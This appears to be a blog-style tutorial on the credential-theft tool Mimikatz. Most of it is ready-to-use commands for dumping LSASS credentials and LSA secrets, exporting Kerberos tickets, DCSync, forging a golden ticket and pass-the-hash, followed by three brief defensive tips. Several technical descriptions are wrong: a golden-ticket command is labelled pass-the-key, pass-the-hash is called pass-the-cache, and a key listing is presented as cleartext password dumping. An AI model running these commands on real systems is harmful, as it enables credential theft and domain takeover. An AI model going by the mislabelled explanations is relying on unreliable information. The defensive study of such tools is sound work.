Understanding Mimikatz:
Mimikatz, developed by Benjamin Delpy, has gained notoriety for its ability to exploit vulnerabilities in LSASS, a vital part that manages authentication on Windows computers. Mimikatz can retrieve passwords in plaintext by focusing on LSASS, constituting a serious security threat.
Practical Examples and Commands:
Displaying Credentials:
Mimikatz allows users to display cached and live credentials stored in LSASS. Use the following command:
mimikatz # sekurlsa::logonPasswords
Pass-the-Ticket Attack:
Leveraging Kerberos tickets, Mimikatz enables attackers to execute Pass-the-Ticket attacks. Example command:
mimikatz # sekurlsa::tickets /export
Dumping Clear Text Passwords:
Extracting plaintext passwords is Mimikatz’s forte. Execute the following command:
mimikatz # sekurlsa::ekeys
Leaks of LSA Secrets:
Mimikatz is capable of extracting LSA secrets, such as PINs and plaintext passwords. Use the subsequent command:
mimikatz # lsadump::secrets
Pass-the-Key Attack:
By obtaining and inserting Kerberos keys, this sophisticated attack makes it possible for illegal access. Execute:
mimikatz # kerberos::golden /user:<username> /domain:<domain> /sid:<domain_SID> /rc4:<NTLM_hash>
DCSync Attack:
Mimikatz is able to seek domain credentials by imitating a Domain Controller. To carry out a DCSync attack, use:
mimikatz # lsadump::dcsync /user:<username>
Pass-the-Cache Attack:
Exploiting cached credentials, Mimikatz can perform Pass-the-Cache attacks with the following command:
mimikatz # sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<NTLM_hash>
Safeguarding Against Mimikatz:
Update and patch systems on a regular basis:
Update systems with the newest security patches to reduce vulnerabilities that could be exploited by Mimikatz.
Implement Credential Guard:
Use Microsoft Credential Guard to defend against Mimikatz attacks and safeguard LSASS.
Keep an Eye Out for Odds:
Keep a close eye on network traffic and system logs for any odd activity that might point to the use of Mimikatz.
